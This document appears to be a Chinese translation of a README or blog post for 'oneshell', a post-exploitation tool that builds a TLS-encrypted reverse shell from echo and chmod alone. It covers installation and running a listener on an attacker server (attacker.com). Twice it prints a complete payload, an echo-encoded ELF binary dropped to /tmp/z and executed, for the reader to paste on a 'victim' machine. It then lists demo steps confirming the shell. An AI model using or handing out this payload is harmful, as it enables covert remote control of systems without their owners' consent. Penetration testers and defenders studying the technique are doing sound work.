假设你已经在目标机器上实现了远程代码执行,并且正在寻找提升权限的方法。你可能考虑建立一个反向shell来简化这个过程。然而,作为一名安全专业人士,你希望连接是加密的,以防止数据传输不安全。
事实证明,有几种方法可以做到这一点,主要涉及到openssl或ncat工具。但如果目标机器上没有这些工具怎么办?一种解决方法是使用curl或wget通过互联网下载它们。但如果目标机器上也没有这些二进制文件怎么办?比如基本的ubuntu Docker镜像就没有这些工具。
“One Shell To Rule Them All”,简称为oneshell,是一个可以解决这个问题的工具。它通过仅使用echo和chmod命令来运行加密的反向shell。
要了解它是如何工作的,请查看我在这个主题上的博客。
Docker
将oneshell
命令替换为以下内容:
docker run --rm -it -p 9001:9001 tantosec/oneshell
请记住将选项的值更新
-p
为您所使用的端口。
本地安装
go install github.com/tantosec/oneshell@latest
如果您希望有效载荷重新连接到localhost
端口9001
,请运行以下命令:
oneshell -t localhost -p 9001
在现实世界中,您可能会拥有一台可访问互联网的服务器(例如attacker.com
),该服务器带有允许端口通过的防火墙9001
。当您希望受害者重新连接到时attacker.com
,您将在机器上运行如下命令attacker.com
:
oneshell -t attacker.com -p 9001
您应该收到类似以下内容的输出:
Generating temporary MTLS certificates...
Payload connects to 127.0.0.1:9001
Copy the following command and run on victim:
zy(){ if [ `echo -e` ];then echo "$1";else echo -e "$1";fi;};zy '\0177ELF\02\01\01\0\0\0\0\0\0\0\0\0\02\0>\0\01\0\0\0x\0200\02\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\0\070\0\01\0@\0\0\0\0\0\01\0\0\0\07\0\0\0\0\0\0\0\0\0\0\0\0\0200\02\0\0\0\0\0\0\0200\02\0\0\0\0\0l\01\0\0\0\0\0\0\0354i\013\0\0\0\0\0\0\0 \0\0\0\0\0\061\0300\0260)\0277\02\0\0\0\0276\01\0\0\0\061\0322\017\05I\0211\0307\0211\0307\0276d\0201\02\0\061\0322\0262\020\061\0300\0260*\017\05\0272\0210h\013\0\061\0300\017\05)\0302\01\0306\0203\0372\0w\0363\0277\021m\01\0H\0272d\0201\02\0\0\0\0\0H\0203\0377\0\017\0216\0205\0\0\0H\0213\02H\0213\034%>\0201\02\0H1\0330H\0211\04%>\0201\02\0H1\0300H1\0311\0276\0\0\0\0\0212\04%>\0201\02\0H\0201\0376\0\01\0\0s3@\0210\0361H\0203\0341\07\02\0201\066\0201\02\0H%\0377\0\0\0\0212\0200\0\0200\02\0H\0377\0301H\0203\0341\07\02\0201>\0201\02\0\0320\0300\0210\0201>\0201\02\0H\0377\0306\0353\0304H\0203\0302\010H\0377\0317\0353\0211k.Yc3\0255`OMw\0236K\0210\0256E\0323#\02\0271\0247l\0277\0372uH\0213\04%>\0201\02\0H\0213\034%F\0201\02\0H9\0330t\01\0314\02\0#)\0177\0\0\01'>/tmp/z;chmod +x /tmp/z;/tmp/z
2024/07/15 15:51:17 Listening for connections on 0.0.0.0:9001
复制以下部分
zy(){ if [ `echo -e` ];then echo "$1";else echo -e "$1";fi;};zy '\0177ELF\02\01\01\0\0\0\0\0\0\0\0\0\02\0>\0\01\0\0\0x\0200\02\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\0\070\0\01\0@\0\0\0\0\0\01\0\0\0\07\0\0\0\0\0\0\0\0\0\0\0\0\0200\02\0\0\0\0\0\0\0200\02\0\0\0\0\0l\01\0\0\0\0\0\0\0354i\013\0\0\0\0\0\0\0 \0\0\0\0\0\061\0300\0260)\0277\02\0\0\0\0276\01\0\0\0\061\0322\017\05I\0211\0307\0211\0307\0276d\0201\02\0\061\0322\0262\020\061\0300\0260*\017\05\0272\0210h\013\0\061\0300\017\05)\0302\01\0306\0203\0372\0w\0363\0277\021m\01\0H\0272d\0201\02\0\0\0\0\0H\0203\0377\0\017\0216\0205\0\0\0H\0213\02H\0213\034%>\0201\02\0H1\0330H\0211\04%>\0201\02\0H1\0300H1\0311\0276\0\0\0\0\0212\04%>\0201\02\0H\0201\0376\0\01\0\0s3@\0210\0361H\0203\0341\07\02\0201\066\0201\02\0H%\0377\0\0\0\0212\0200\0\0200\02\0H\0377\0301H\0203\0341\07\02\0201>\0201\02\0\0320\0300\0210\0201>\0201\02\0H\0377\0306\0353\0304H\0203\0302\010H\0377\0317\0353\0211k.Yc3\0255`OMw\0236K\0210\0256E\0323#\02\0271\0247l\0277\0372uH\0213\04%>\0201\02\0H\0213\034%F\0201\02\0H9\0330t\01\0314\02\0#)\0177\0\0\01'>/tmp/z;chmod +x /tmp/z;/tmp/z
并在受害者机器上运行它。您应该在服务器上收到一个交互式 shell 连接,该连接将通过双向 TLS 进行保护。
这些条件覆盖了几乎所有服务器设置的常见情况。
https://tantosec.com/blog/oneshell/poc.mp4
在个人vps上运行命令生成payload
将payload复制到受害者机器上执行
在vps上看到反弹shell成功,执行命令成功